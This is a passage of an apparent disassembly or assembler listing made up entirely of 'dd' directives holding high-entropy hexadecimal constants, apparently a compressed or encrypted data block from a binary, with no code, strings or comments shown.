		dd 0EC33184Ch, 0B0207600h, 0EB61E28Fh, 6BA0027h, 89F8D540h
		dd 0D601570Eh, 70D42BCFh, 63D8E8FDh, 1CEE007Eh,	57497AE6h
		dd 543A8090h, 0DA4C015Ch, 73C778Fh, 0E5C04F31h,	33F00DDh
		dd 0C1FF9ABEh, 0B5C9BF2h, 0AA8A005Eh, 0C2F03442h, 6D810A9Fh
		dd 0F8C7EB8h, 8E065A3h,	0CDBB1B61h, 0A0767228h,	0F0178606h
		dd 0AE3341h, 973C663Dh,	0FAC514ECh, 0CECF2005h,	0AB98C6h
		dd 8E0C2444h, 0D07B6D1h, 0B41BC376h, 60D2BB10h,	0C5F507F8h
		dd 400B7F3Ah, 918E357Dh, 40983E0Bh, 0D20780EAh,	98CFDA7h
		dd 0E4A5D369h, 0AF471500h, 0E0009D8Fh, 0D2DA6FC2h, 70EBFA8h
		dd 0C3F46C3Fh, 5AA62339h, 34547080h, 0B21E1103h, 0A8B7058Ch
		dd 3F8F4BF1h, 7380C3AEh, 4FCE7881h, 1903F45Eh, 9A990D38h
		dd 968FC16Eh, 1D2206E8h, 92DEED9Ch, 0C52000B9h,	84721E7Ah
		dd 4DDA3200h, 132D1D2Bh, 0EC4E49Ah, 78E7C18Ch, 0FB997040h
		dd 0CA009787h, 1D61A032h, 4BADEE5h, 146B1047h, 0A8538076h
		dd 0F8A062F3h, 97032212h, 0F8D737B9h, 0C0EFB5B7h, 6B1B36A1h
		dd 804C3E3Eh, 6D063383h, 381F6B3h, 1774342Dh, 0EFC8F07Ch
		dd 7E00F315h, 0D61C3C98h, 16EB026h, 0CCDCF7D8h,	0DCF8B28Ah
		dd 0A107696Ch, 0F2BA36B3h, 0BCA72DC0h, 0F444744Ah, 0E4E214F6h
		dd 8100F47Ah, 7731CBD6h, 79002E20h, 7984F73h, 1B08446h
		dd 91B802CFh, 0E464821Bh, 0A60025F0h, 0EB6CAD78h, 1CAB7623h
		dd 8E6346BEh, 0A001367Bh, 0C832BAE7h, 0D990FEA7h, 8076FD01h
		dd 0D0BDDD18h, 1EA9FAECh, 3020E5F5h, 628B5928h,	0D90E7D7Ch
		dd 0A9778D0Bh, 30E40035h, 0F8EFBD5h, 0AA315E63h, 4BBB6821h
		dd 15D44003h, 0F9004440h
		dd 8E206F2Ah, 279AAEh, 249811B6h, 5C4714E0h, 0CEE82D01h
		dd 0EB107BF1h, 0B8609EC1h, 1B9930BAh, 724BD830h, 0E4C21E09h
		dd 9B1487ECh, 0A102B470h, 78FD0120h, 0A6D09C6Ch, 7964E081h
		dd 8B009C90h, 6AE60448h, 2EC51B5Ah, 3DF42D6h, 395CD4D9h
		dd 0A843CAB2h, 808BE1h,	0AF5B07h, 0C7588F34h, 0C606A52Ah
		dd 1F43011Eh, 64D13CC1h, 0E6D48781h, 0BD6100A1h, 1268BBD4h
		dd 2900B6A2h, 0E3CBDE82h, 1102BE9h, 94488DAh, 40DD3F2Fh
		dd 9AFC77FCh, 6B124E00h, 0BC4CE8E3h, 32173C7h, 9506191Dh
		dd 0E0EFFE8Ch, 0A764C17Fh, 0C299B000h, 98B137CEh, 41180004h
		dd 0B259C905h, 0F5000A45h, 4C792CC7h, 4ACA69Bh,	9D5194BCh
		dd 0BAD7C0F6h, 861938DBh, 45E07BE1h, 0DDAAD8h, 188AC108h
		dd 0C649FB17h, 3C27EE00h, 6DC881ECh, 0E8790938h, 1802D10Dh
		dd 0E9E096DCh, 0BE3ACA6Ah, 72F3F15h, 5BFBF7DFh,	1081EFA4h
		dd 0DCD8E70Bh, 837B1339h, 20880050h, 5488971Dh,	61F6A200h
		dd 0D5B8991Ch, 0A11892D4h, 0DFE0D259h, 0B17C26A4h, 7A25400Ch
		dd 4B3EAC76h, 0AA308049h, 0FA627164h, 19F4A074h, 0E7F2002Ch
		dd 0D8B53654h, 0CA002EA6h, 0BC0C9671h, 1E1F726Bh, 0C0301262h
		dd 0A6A92980h, 4F008876h, 1BA7B3DFh, 0D00EF8h, 0AA9082B9h
		dd 0CB4DBA20h, 6E64DA00h, 223E170Ch, 70334821h,	0BC1E6D58h
		dd 6F34406Ah, 4D39674Eh, 1E6D101h, 0D5280FEFh, 12B1C170h
		dd 41DF19A8h, 97CE44A0h, 3A1CC98h, 4B6B3A00h, 22ACE434h
		dd 6EAD03DFh, 0BC4F1E82h, 0EE0329E0h, 0A82C5700h, 3340564Ch
		dd 0A3050062h, 82C5E106h, 4A008488h, 0A9C604C0h, 3CD313h
		dd 705B5345h, 0B387A035h, 3566F03h, 0E0ED6CC7h,	9B6C6ABh
		dd 0D32054FEh, 93E72C03h, 113D46A8h, 8300CC76h,	0F2F75E7Ah
		dd 0FA4F63h, 35585918h,	0FB3F84ADh, 689F9400h, 6A7587EFh
		dd 10F6041Fh, 80F517CCh, 1E0C7DC0h, 587856E8h, 24EEF207h
		dd 0E0B0BC25h, 2144FFh,	0B8ECE81Bh, 1A73547Dh, 18BAC300h
		dd 23A1E06Ch, 1B3D248Eh, 93EA00F1h, 0AE6066B6h,	35FBDB0Bh
		dd 8210A127h, 3ED37C8Ch, 7B00C870h, 6F0F901Fh, 0B61403D2h
		dd 701062A8h, 39297E32h, 0C8AF60ABh, 1BF074ADh,	1810CE14h
		dd 65D980C0h, 0D6B95000h, 7475196Bh, 20C50070h,	959993FCh
		dd 4D06AA21h, 972BFA55h, 396F3E11h, 0D2F9F030h,	0FC781C46h
		dd 64BABCE8h, 5E004DFAh, 0B339017Bh, 3B6CB77Eh,	0B9A8700Fh
		dd 0D9EC011Ch, 0E76A5008h, 62C012BBh, 0B68C057h, 370C1FD8h
		dd 80604070h, 87AAE1A7h, 5EB21305h, 80C098F2h, 0F1BCBAh
		dd 1A779315h, 0E5B74331h, 0CA053900h, 1D406F52h, 1F690F95h
		dd 660028C2h, 99610A5Ch, 0D9FF2709h, 896B00A4h,	3C52F8h
		dd 84124020h, 0D0452B1Bh, 480076E2h, 90D2434Eh,	5C971C9Eh
		dd 0A000058Ch, 8F3855BFh, 9307C64Bh, 36193D73h,	6785F3C0h
		dd 0BE1E0043h, 0FE7086A5h, 0BF07F6D8h, 73154587h, 0F6637B0h
		dd 172D17EAh, 0D17F0026h, 0F74651DCh, 273A7801h, 3C2B4C84h
		dd 0E857C4h, 0E6F5A4D6h, 16EEE42h, 0C4988C01h, 86DD817Fh
		dd 80F2F853h, 3DF08094h, 0D4839D71h, 0A68143DEh, 0B780398Bh
		dd 5307B5F3h, 21FF110Dh, 35B3550h, 0F5670CE9h, 0D7482D58h
		dd 8E5FB0Fh, 0B6871E65h, 16C00E62h, 9A13A0BBh, 0A93F000h
		dd 0A7CDF15Bh, 9E6400ECh, 356A8DD5h, 569F21C1h,	6DCC96FAh
		dd 5AE71F16h, 17B28E39h, 51C01F8Eh, 28BBFC57h, 0DBA7380Fh
		dd 6B94A0AFh, 147B79Ah,	78270418h, 249F0DA9h, 0FB00D80Ch
		dd 21260ACDh, 3FC7A7F9h, 0D61F287Ch, 0B7B541B6h, 0D0341A48h
		dd 0E67B6E8Dh, 8B003090h, 90D1BB10h, 0F51B0FFh,	0D0381DACh
		dd 7FFBB103h, 331568C0h, 16007073h, 0BC36AA48h,	3C02CB63h
		dd 114CC4BBh, 12780863h, 0C2552000h, 0E1329063h, 8DFA8Ah
		dd 0E4352950h, 976764D0h, 0A94A0E00h, 0A7B9EA14h, 0FA0B0716h
		dd 0C00F8358h, 48AA9769h, 78717383h, 0FA5818ACh, 0C5F61113h
		dd 8DB87200h, 9515CC33h, 60CB74E3h, 1ED42102h, 8C0C6373h
		dd 583CC124h, 41A77361h, 5750917Dh, 0CB732080h,	0CE78B8Dh
		dd 1DD588F9h, 0C77358h,	536F49D1h, 0CE936FBh, 132C47C3h
		dd 37051DA9h, 15D1993Ah, 6FCF9C21h, 6308B80Ch, 0C41B02BFh
		dd 0BE59408Eh, 0B8E51C63h, 7B273EFBh, 7199370Fh, 0FCC82EAh
		dd 6260AE47h, 0F8C9545Ah, 0D5183E0Bh, 13BF00DDh, 0E40F7Dh
		dd 8A44C504h, 3A0E48FDh, 0F1826C00h, 0D386DE93h, 7F521CDAh
		dd 24D0C00Fh, 1639C97h,	0B7C7E900h, 0F992A216h,	22757Eh
		dd 2CC37604h, 77DC565Ah, 5E91F300h, 42277B3Ch, 217DFDh
		dd 0FE04D3ACh, 59E1D91Ah, 338E771Ch, 0C0DE4F0Eh, 685C7429h
		dd 21900F9h, 6D0FAA04h,	5500FF78h, 0C07A0145h, 0F02526h
		dd 0A4C94A19h, 0D8036940h, 0B623B00h, 5AC535E2h, 0D47A01h
		dd 0B14E92C9h, 0F7C08B04h, 9E0040EAh, 70818DAAh, 1310E89h
		dd 189257DAh, 0E00B5FB6h, 770F5A3Ch, 6017ECA9h,	0B48555D2h
		dd 482E6906h, 4CE09200h, 0BD79403Ah, 194DF233h,	0FA01C0F6h
		dd 0C9B70868h, 0E6814746h, 0A09B6EA2h, 0C4C7DDF3h, 4DB9F561h
		dd 1531B08Eh, 244A86A0h, 1F002058h, 0A4B3491Ch,	1CA997CDh
		dd 0CE3ACED4h, 0F72F951Bh, 0C957D900h, 391876DAh, 5AF9D58Bh
		dd 22EC1ECFh, 82FC1D8h,	0F0AA1CD2h, 0C874B921h,	0B7F2F103h
		dd 59F6AB1h, 36A5F398h,	959880EBh, 0FC269BD6h, 0D400C7B8h
		dd 750C8FC7h, 2CE203A9h, 2D09B21Ch, 80D323A1h, 0C9A7E20h
		dd 0E0D7629Fh, 0C8F2BBh, 0DDA6A430h, 4CB917B0h,	9347D0Ch
		dd 732730E5h, 24B25C1Ch, 0ED72E200h, 663159DDh,	8F952100h
		dd 9A38A4F0h, 0C51630AEh, 0CF2FC140h, 0A3702763h, 0E91D356h
		dd 1E398918h, 38B2C983h, 0E490D590h, 632FAA00h,	88C8D370h
		dd 0EB3D3E57h, 27D1306Ch, 61BBD600h, 0FB2CA2Bh,	54E500EEh
		dd 90ECB916h, 0D6604267h, 5B86B329h, 0E54E017Bh, 8C53D3BCh
		dd 91C3D3C0h, 1A0A2000h, 5CC5605Bh, 0C34D0094h,	0C47DF8E6h
		dd 0B1C1CED1h, 1476619h, 0A24C4B00h, 4E0F00F7h,	0E1CC6F75h
		dd 0D69607C0h, 2A002C41h, 0B01ACEC5h, 109395h, 0B44D7922h
		dd 9DB14B1h, 0F8E90472h, 0EF008A75h, 0FCCF5327h, 718D5406h
		dd 7EFEB8F5h, 61520369h, 622294E0h, 0B95303A1h,	0CB258020h
		dd 0B50831F7h, 181560F3h, 3E027859h, 612B0400h,	0EF0C1977h
		dd 6A70064h, 38DB07B6h,	71DD823Ch, 0CA023BE3h, 62328A6Dh
		dd 4F10F919h, 0CC00CB09h, 0EF812AC6h, 0CB60Ah, 3353136Ch
		dd 8E8B3FF7h, 6D88F560h, 0EC01D452h, 5FE93804h,	0B408B331h
		dd 4B2083F4h, 88F0D606h, 1F962277h, 36307AC2h, 0F564C998h
		dd 0FB60DEA0h, 8A236CCAh, 6F7110Ah, 41CB6446h, 25D62CF2h
		dd 2B080EC7h, 0AD5871FFh, 0A0150337h, 984278BAh, 0DDBE00E5h
		dd 0EA932506h, 8698C360h, 42F93390h, 6C953698h,	280A591h
		dd 32DED552h, 0EC20C3F4h, 0F17E0140h, 0B60B4ADBh, 3E18F0B9h
		dd 613318C0h, 3E2843B2h, 0F80CBA53h, 963080E9h,	0DCD0B500h
		dd 18438B83h, 0E55600D7h, 640CF5DBh, 8D00FC6Dh,	0BA621B4Dh
		dd 7C859816h, 7263983Bh, 0D9ECC5h, 832C49BDh, 15AC0AC1h
		dd 0F8CA9100h, 74ED88F2h, 0D8BB00BFh, 0EF7B59B9h, 0B706DA25h
		dd 2B5B9A2Fh, 0BB010338h, 0BCC4433Ch, 0CFA31000h, 0D706CE0Bh
		dd 469F18D2h, 0B082086Fh, 555220C0h, 118730Ah, 5A4C7965h
		dd 0C4260C95h, 9A3336BBh
		dd 0C08749C3h, 0C1A4521Ch, 225AA3A8h, 58C086E3h, 48282C2Fh
		dd 38009E8Eh, 3A09194Dh, 6A0092B4h, 88CD4CC4h, 0FA2D915h
		dd 2BB0B7E0h, 394AE6C6h, 4CCE900h, 6FC79148h, 0DF7831B2h
		dd 0AC2BE608h, 4001520h, 5AC642F8h, 0BD0E3E38h,	0A17C1D72h
		dd 1D4C4039h, 0B75E5803h, 611A6500h, 7C1784DDh,	9DFC015Dh
		dd 0D76CEDDFh, 4EBFE837h, 0F800D27Eh, 3C297E5Ch, 1F4660C0h
		dd 0E98EC2h, 49910D01h,	0A40026DAh, 63D51F0Bh, 0E1B0Fh
		dd 8944E2A0h, 9CE051ABh, 0B86D9E0Fh, 0F9F7A095h, 3AD7912Eh
		dd 0E580D3A3h, 5D37C381h, 7F001CAEh, 0FAF71964h, 22C7DEh
		dd 0A570D25h, 4149B8D9h, 0B5B0E90Fh, 4EE06442h,	35BEAC80h
		dd 0B4340025h, 3847611Eh, 0AC00BD52h, 733AAAF2h, 3DC1DBh
		dd 0F9959DE4h, 5246E996h, 80F1863Ah, 6BE3F6FCh,	1F1D3383h
		dd 14432Dh, 0E0039EACh,	600708CFh, 0F66B8EDh, 68524550h
		dd 0A2100598h, 8001BB96h, 8F1BA819h, 2084EC30h,	34B06E7h
		dd 939E5B0Fh, 46C86854h, 79C0CAF9h, 0AFEA73Eh, 0B76CEh
		dd 6E795749h, 2E74DD4h,	0BD2FA903h, 0C091B31Fh,	0C0CBFB50h
		dd 47B08739h, 0FE00583Fh, 8DB1C878h, 0DBC97Fh, 1ACC1E92h
		dd 44AE509Fh, 0D3A7E300h, 0C9B8EA97h, 0C769004Eh, 9DCAC6B0h
		dd 40018E83h, 802ED16Bh, 0DECC6F1Ah, 5F3F309Fh,	0C87973E8h
		dd 0B851BD31h, 0ABCC85E8h, 0AAD25838h, 2F573201h, 80B443B5h
		dd 0DE3563A0h, 70E3BD55h, 0DCA13AE4h, 0E69CEC81h, 0F1239F41h
		dd 0B5804067h, 7D001CB0h, 1B9ACF2Eh, 6D9EFC9h, 70795B35h
		dd 98F871B4h, 15676401h, 9E4816B2h, 26391880h, 5A91405Bh
		dd 9AD10F00h, 0CC553A4Eh, 0B7D0008Fh, 623A25Eh,	0F803B8EEh
		dd 5B30F29Eh, 3F1200A5h, 0D2A652Eh, 0CF00A405h,	274F3AE4h
		dd 76139BC6h, 0F5EA00B6h, 5210500Bh, 0F2001732h, 607CF46h
		dd 0FDC3790h, 0CD7805CBh, 8E1BA5E7h, 0E0A0B7Fh,	9429CB0Ch
		dd 3F695303h, 247255h, 45422C69h, 236AFEBFh, 5350A618h
		dd 6416118h, 56D3125Ah,	0B53B4049h, 0DFC38057h,	3F996577h
		dd 0D53E033Dh, 0DA1319AEh, 1DC8201Eh, 4D283040h, 304154F5h
		dd 1C50060Ah, 0BBE229BDh, 521BB500h, 0C19C1609h, 5F78006Eh
		dd 0A3360733h, 0B803C6C0h, 616DAE1Eh, 6BF4D823h, 4680C0A2h
		dd 43AC3534h, 21A5A8CCh, 0D12D07E6h, 43B39CBDh,	7071085Ah
		dd 4A63A900h, 45990258h, 89BE006Dh, 7AB46CB7h, 533E1761h
		dd 0D85D0F0Dh, 0CEE58040h, 891116h, 27E855D4h, 0D6B5946Dh
		dd 0BCF1A606h, 30080F0Eh, 0D220D0BFh, 2E389475h, 1C538714h
		dd 0F426CBD6h, 3D930F58h, 3965581h, 0E854B1F3h,	12476010h
		dd 22946EC7h, 28305ED5h, 5F5D80D1h, 70E79403h, 0B04027D8h
		dd 691DA16h, 0E9B2538Ah, 6A784887h, 0C3ED6118h,	0E6C811h
		dd 0D36EFD8Fh, 0D1755184h, 11808D0h, 0C2905EB5h, 26E0F0ADh
		dd 53180FEFh, 2983E66Eh, 2800E857h, 19A41EF5h, 199E83F2h
		dd 87CDA63h, 1A499370h,	0F1C2A207h, 0A8B05513h,	0FE826CDBh
		dd 0B46B0C89h, 8B58BAE2h, 98E63D2Ah, 9BD2EE02h,	82D4786Dh
		dd 812136B8h, 2C6A878Ch, 0FC355720h, 264E3AC2h,	0F52A2B00h
		dd 4C2DE875h, 0C1BD0930h, 9B0ED6h, 0D185971Ch, 3F186D88h
		dd 6CB6541Fh, 0A30CCF0Fh, 0B8A03DACh, 207912h, 0F5E4EF33h
		dd 8A6570D5h, 540F94EAh, 83E9BD1Ah, 0E068C755h,	8D896Dh
		dd 6C330FC4h, 3D3135CFh, 0FA8E3000h, 6A94EB46h,	6062E847h
		dd 0E04F2036h, 4303A63Ah, 84AAD775h, 0D16AE0ADh, 0EC95011Bh
		dd 0A8E74415h, 3078F7CEh, 0D2C158C1h, 0CF1314h,	4FA36F11h
		dd 0CD66E580h, 3F066779h, 0D1516826h, 2B2A0020h, 39069D4Fh
		dd 0E03F68Ah, 0A8597B37h, 3C580627h, 787A2991h,	90F97C0Ch
		dd 0E118F8h, 0D261FC6Fh, 652D8AE0h, 2138D100h, 0EED70F1h
		dd 3F1B0083h, 0C24159B4h, 0F22CBF56h, 9600FB67h, 6FA25120h
		dd 921E00ACh, 0A3DA680Ch, 0F4391F22h, 24A7059Fh, 0DCC0B551h
		dd 7FFC302h, 5D5F1387h,	0D63820D4h, 0E1000A7Fh,	9E7839EEh
		dd 2FC033h, 9094D91Ah, 0AAA11B29h, 8EAEFC00h, 0DFD1305Fh
		dd 3C2500F5h, 7E674261h, 0FD03A7EEh, 2973BB0Ah,	5F32D056h
		dd 0A8053947h, 93303500h, 3A16537Bh, 6AE2EB30h,	51197Eh
		dd 681840B2h, 853EDC9Dh, 3D86650Ch, 1C4621F7h, 40BF37E9h
		dd 174E506Bh, 0F10FCF95h, 40D83E82h, 818B9AEFh,	7131C0F4h
		dd 0C61746D4h, 54B62A00h, 0AEECA803h, 813A1B05h, 280C0830h
		dd 21AA26E8h, 7D43E3Bh,	1453790Ch, 0BA186C49h, 44C0495Dh
		dd 0E266009Eh, 70EF6E72h, 67209A2h, 83567A00h, 0F11980A7h
		dd 3E79F422h, 273008F5h, 0A4AB2929h, 0AEE27600h, 0AC7C3803h
		dd 3D7400FEh, 83DED053h, 8B0006E1h, 15FC954Fh, 51FD4037h
		dd 24EC91A1h, 28611CECh, 7B9643E9h, 9FF89077h, 0BEF8A9B9h
		dd 0ECEEC02Ch, 0BC0FF906h, 715600AAh, 53BDF038h, 54009B12h
		dd 0A7D8EA75h, 4BD351h,	2C950C6Bh, 775BA2CEh, 6CD4AD00h
		dd 12510F46h, 4F1B30DBh, 0DE56F228h, 0E7EFED00h, 8726CE33h
		dd 1E09888h, 0F2C6812h,	0F3DE6B4Fh, 0CF5C3000h,	0B0FBBAC8h
		dd 0B949000Ah, 605987C2h, 0C9E4D42Ch, 0A51FAC00h, 0EB5FEBAh
		dd 6940945h, 0E1833D14h, 41E04BD2h, 6C007BF8h, 0A68C08E6h
		dd 355CFCh, 2B674AC1h, 97E24BCEh, 0A1A97E00h, 0F89A3177h
		dd 87210FB9h, 4C40DA41h, 142C42E1h, 0F5815401h,	606F29D4h
		dd 9BE43F0h, 0BB32E5B3h, 28A42580h, 857B3110h, 0F8D60600h
		dd 8E554F3h, 1D0A7470h,	79DACAE8h, 68840380h, 741A8840h
		dd 0D8A658h, 0FE43A8CFh, 33E78C4Eh, 9DD0AD0Ah, 0E9C1FCDh
		dd 1BA02C71h, 0CD30EABCh, 9629011Ch, 644100BEh,	0E33CB05Dh
		dd 0D6BA0084h, 2A328F8Ch, 57019C23h, 0AB079703h, 0CDDC7188h
		dd 0F407BA9h, 0DA2FA14Dh, 28215DA0h, 0CAF0A60Fh, 99556B12h
		dd 22BC000h, 5CE752B1h,	0C7065720h, 8A86832h, 20C55698h
		dd 0D7C0B9BFh, 3AED8C53h, 76800D9Bh, 3FE34D51h,	1860A4AAh
		dd 0A3CC6458h, 0C9691EDEh, 6091D8BDh, 58003040h, 19682952h
		dd 0C745B7h, 237FA10h, 0F3F7A155h, 0FE8E7C00h, 59189F91h
		dd 786C6F54h, 438D8100h, 16E0E37Ah, 0C83A2AB0h,	21103312h
		dd 6F42D082h, 1DAD7769h, 0FD59BE8Ch, 2188380h, 0A9C1AF2Fh
		dd 766C301Ch, 0EEC09137h, 2112DD5h, 8D39557Fh, 8C911B07h
		dd 4C91854h, 9FD0D1E7h,	533C4h,	0E7577CA1h, 48F2225h, 554AFB0Fh
		dd 669A813Ch, 709F05A7h, 5D26C1CBh, 0F0F5AE5Eh,	0F074F298h
		dd 36219360h, 76D255Fh,	9EE6BB0Bh, 384586h, 69C3FF84h
		dd 0F6052F35h, 0AC106CE3h, 0CC5FB600h, 941167h,	567D14FFh
		dd 0C827A564h, 46498B03h, 811E2E4Fh, 99F478BFh,	0E6720E51h
		dd 2860B531h, 42A7853Dh, 707E1B03h, 880A0B50h, 0BC69F5h
		dd 305EA617h, 7D8D6E75h, 5AFFA21Fh, 966D9FC0h, 0C938A3h
		dd 3FF7C7C3h, 7B7E1767h, 3E019E98h, 0D5E2EC5Eh,	8CDCB808h
		dd 0D9FC00C6h, 0A4C2FFB6h, 2F024438h, 4042FEC4h, 5BB960F1h
		dd 0A7EB03B8h, 75EAAE7Ch, 0EF856100h, 2561BCCEh, 36410748h
		dd 0D643B47Ch, 54FC49C6h, 6A22EF00h, 0F8A18F0Ah, 249E0321h
		dd 20FB3AF1h, 0B87FA2A0h, 4D602D7Eh, 0C501B3FEh, 0C03B7733h
		dd 1C89A228h, 963CCCE3h, 0E0BE8B84h, 31145CA9h,	0D44A2120h
		dd 0C50375B5h, 93C4DB1Fh, 0F4A11C70h, 0C7807B8Eh, 0DCD34B28h
		dd 0A600A218h
		dd 0DB1CEACh, 1FD7E8FAh, 169E93FBh, 81C01D21h, 0E21B192Eh
		dd 0E0D0BEC2h, 0E6D9D5C8h, 0C9410070h, 1F8C5598h, 531C4873h
		dd 0F340BDC3h, 0B2E09B13h, 65834CB1h, 0B5D24400h, 0AD1F16D1h
		dd 70D3AB01h, 9252D8E1h, 44BA007Fh, 0C1A86618h,	114C300h
		dd 0A2FC557Ch, 97F90739h, 0E0630FA3h, 46C3043Ah, 80963E14h
		dd 0A81C32E5h, 0C1F460A2h, 78A786Dh, 2874B3F7h,	94C0CE19h
		dd 5E6EF14Ah, 0CA3B3Ah,	965D527Ah, 5B1E23h, 0A1E01F06h
		dd 77A2293Ch, 47F29103h, 0C88AF79Fh, 305E444Fh,	0DF089A42h
		dd 8C0641F0h, 5DC5D274h, 0E2BC3010h, 3620669Ch,	573C6000h
		dd 0D117144h, 0CD7E78h,	8FF99440h, 6EF0FE5Bh, 0D091CB00h
		dd 5511BF2Dh, 97410E78h, 0A5804E6Fh, 0C7EDEF5Ah, 4A980900h
		dd 903E3C20h, 31BC0910h, 2D007836h, 4E2CA4E3h, 50E2A230h
		dd 0F2751044h, 0FFAD01C0h, 4218790Ah, 3EEDF0D7h, 0EFA62600h
		dd 7AA7B124h, 0F3C924B2h, 4B930C85h, 28008D94h,	0CB57C71Ch
		dd 286B044Ch, 0B88DEE3h, 0E7237A2Ah, 868C3660h,	0A2303Eh
		dd 6CF3934Ah, 1B2CA3E5h, 88FDE373h, 8C24D5B0h, 3B9D8200h
		dd 0B45D5E46h, 0F41302A2h, 3C2DAB6Dh, 51E38460h, 0A4CA16C3h
		dd 0CFEEF962h, 35F4DDD5h, 38C007Ah, 11ED27F2h, 0CC000B2Fh
		dd 2AE716EBh, 0D82824h,	7664858Dh, 0D11C6E78h, 10FDBA03h
		dd 0D8C9A8F1h, 3AD55DD3h, 3F8EA941h, 80A0E715h,	0D2305204h
		dd 0AD0D2400h, 85C42D10h, 74F000CDh, 2C46982Ah,	0CDFFC04Ch
		dd 335080BFh, 0CC54BBD1h, 95CD0CE0h, 7919C1C4h,	908C500Bh
		dd 8076093Bh, 56E68922h, 39E800A4h, 16252AACh, 0D73402Dh
		dd 33FAC500h, 6EAFD7CBh, 737FA67h, 89A60C18h, 0D5A81374h
		dd 809F24D1h, 90FD8C11h, 0EA153558h, 971F0053h,	1370F4AAh
		dd 0BC77E02Bh, 23F9681Fh, 5515FF00h, 0B733B4h, 7FDD7B69h
		dd 566E38EFh, 8EA0E474h, 4C18825Ah, 0F948E703h,	0F1C83B04h
		dd 0FF45E981h, 0F0482265h, 53E547Ah, 6F178089h,	55EB92BBh
		dd 13681FD7h, 5DA51EF2h, 527C00C5h, 0EF53E627h,	0D77B6172h
		dd 3F1603Ah, 22102192h,	0BF9FA191h, 0FE66D4h, 6E24E102h
		dd 0B6E8FBA6h, 5D09D81Dh, 0E0EE0B8Fh, 7215D3A5h, 92F8B7h
		dd 883C763Bh, 0F891EF62h, 18A5F230h, 3F7EAEE1h,	47007842h
		dd 3B87E0F6h, 7B01E264h, 0C3AB5426h, 9080D921h,	49E06DFCh
		dd 0B905DF86h, 4864FF28h, 0DD102C6Fh, 67C1F4C5h, 0F988D8C1h
		dd 3A018ED0h, 0DA6DD3D6h, 17B01880h, 6B74F41Bh,	0F9208D62h
		dd 0D8F685CFh, 41AC4080h, 0CDFE0CDBh, 8318DA89h, 0E66E3100h
		dd 0F5ED6526h, 0F9F0A0FCh, 9CDF007Ch, 7E1DA9CBh, 1AE416D3h
		dd 0EB29130Fh, 0E70E0E34h, 6D0B654h, 7283B2CCh,	28CD2A8Dh
		dd 4D774424h, 3504BA00h, 1F248166h, 0C988A8C5h,	0FEE4A8F4h
		dd 0E9401E86h, 7F6F4025h, 4AD02D6Ch, 73975000h,	46012014h
		dd 0F0F2501Fh, 0B14B00BDh, 19F4C5DFh, 1131EF13h, 0A3174864h
		dd 3DE4F980h, 0D1FDF24Fh, 3D6B5E3Ch, 0A31B0046h, 77311791h
		dd 3BCC0008h, 0B94FA943h, 38C08A8Eh, 0C364D6C1h, 0AF4D3F70h
		dd 72D99A81h, 20241702h, 76000B60h, 0BADB1D46h,	1D2C2EB7h
		dd 0C19942D1h, 0D64C222h, 9B86F0ECh, 0DF799A1Ch, 0C05C6CCAh
		dd 4009216h, 2BAE0A1Dh,	0E2BD001Ah, 0F08C86ECh,	0B00993Dh
		dd 2494A977h, 0F0327AEh, 0C9C8ADE1h, 0A107A00h,	51E3840Dh
		dd 0F6076E98h, 11C5ECA0h, 0C160315Ch, 3A4E8911h, 7FCF0944h
		dd 4420E142h, 0A5AD3730h, 0EE988300h, 0F2E4FFE8h, 0E5E700DFh
		dd 9C81F1BFh, 64F2D98Fh, 7D455Ch, 1246D518h, 2B2ED7Eh
		dd 0BC76578Ah, 0BE805CF2h, 8E1365DEh, 6D4E7507h, 564087F8h
		dd 0C74069h, 38FBE673h,	0F04C098Ah, 0DFCDCC1Fh,	5D0A9301h
		dd 68877429h, 0F30B8A02h, 0BD883109h, 0A700F3E6h, 0A5918C2Ah
		dd 383660h, 6EFB6264h, 7AB58B0Ch, 7B264Ch, 0A0DA8FC5h
		dd 0C0E791B8h, 0EDB4D970h, 9A0114E4h, 1C6A98B5h, 0F1C4AA76h
		dd 85F52695h, 0ED0700FBh, 0EFC6DB79h, 5338E963h, 0CF16C0DFh
		dd 752E003Dh, 6E13FA14h, 29007A8Ch, 0B2957811h,	63E349h
		dd 4C08E1C6h, 0EE7C93CFh, 0FC583576h, 0F3590069h, 800D1ADCh
		dd 84030CB4h, 960E143h,	91FE7518h, 504C6FF0h, 0EC6984DAh
		dd 219800CAh, 8FB7DE0Bh, 0EC00483Eh, 60307E85h,	6E57Fh
		dd 0C18776D5h, 0E7B3B55Eh, 0AA03A07Bh, 5609FF10h, 0B1081843h
		dd 579320BFh, 0CD226603h, 0E0258837h, 7BB414FDh, 6EC803E8h
		dd 7C12E720h, 0D81138C1h, 60018DCAh, 0CC84D3B5h, 0AB206277h
		dd 0AAC100E6h, 68FEC5ECh, 4001F59Ch, 0B3B1DF80h, 0D8D812D6h
		dd 0FA620325h, 3E964121h, 9DE001A2h, 650304DAh,	7127F880h
		dd 7A2106FCh, 681405D3h, 3C3C248h, 0CFB312D4h, 95100021h
		dd 80F8DA29h, 15192617h, 0A9081958h, 3753180h, 3EF9E2D5h
		dd 0B668A70Ch, 0D702D2h, 0FBFCF22Fh, 0D6360921h, 143A7770h
		dd 30AEE813h, 0C9CE4280h, 4239EF80h, 21773010h,	0EDA2554h
		dd 52DD859Ch, 8679FCACh, 11ECA974h, 13FD4715h, 0E0B5AC2Ch
		dd 2A6D021Ah, 0FB055ABFh, 6C0D8C80h, 0CD00A9CFh, 8CE165DAh
		dd 0C07729h, 9B5C5FF2h,	0CC335D6Fh, 56FA5300h, 3B818320h
		dd 0C4631E4Dh, 122485B1h, 0A500FB18h, 582CD3EDh, 71963844h
		dd 68306F00h, 32971B05h, 1EE84B00h, 7D1DAA34h, 9DD5079Ch
		dd 30F574E2h, 0E55378C5h, 803BC203h, 0FFF1901Ch, 7F57CF10h
		dd 35960003h, 8AA97625h, 14009ECEh, 8C22EACh, 0BB726h
		dd 0F3F5679Ch, 6BC9367Ch, 0DA144100h, 604DFCCEh, 79BF483h
		dd 0DD7A388h, 0D28A6C13h, 5014177Dh, 0AFE35Ch, 1A9C7EAFh
		dd 75B661A2h, 320100DBh, 8DE648Eh, 4A0E466Fh, 636B3BADh
		dd 0D0348C63h, 9F2EB1h,	511D69A5h, 0EAD5B383h, 6D5B9D00h
		dd 931E53B9h, 60DA0185h, 0A7022FBDh, 0D6F6D473h, 1809BC00h
		dd 0A837279Bh, 0E86F231h, 0E772E6DCh, 97B971E0h, 0AF7D0957h
		dd 966BDB00h, 83DD7562h, 0BE6A00B4h, 0E4F9B573h, 0C100C9D0h
		dd 0B6F78034h, 7CA411Dh, 0E06848C2h, 0D7B71067h, 6B070737h
		dd 62FA5FA6h, 5A80C2C7h, 1D01EA55h, 80948EAEh, 9BF8E379h
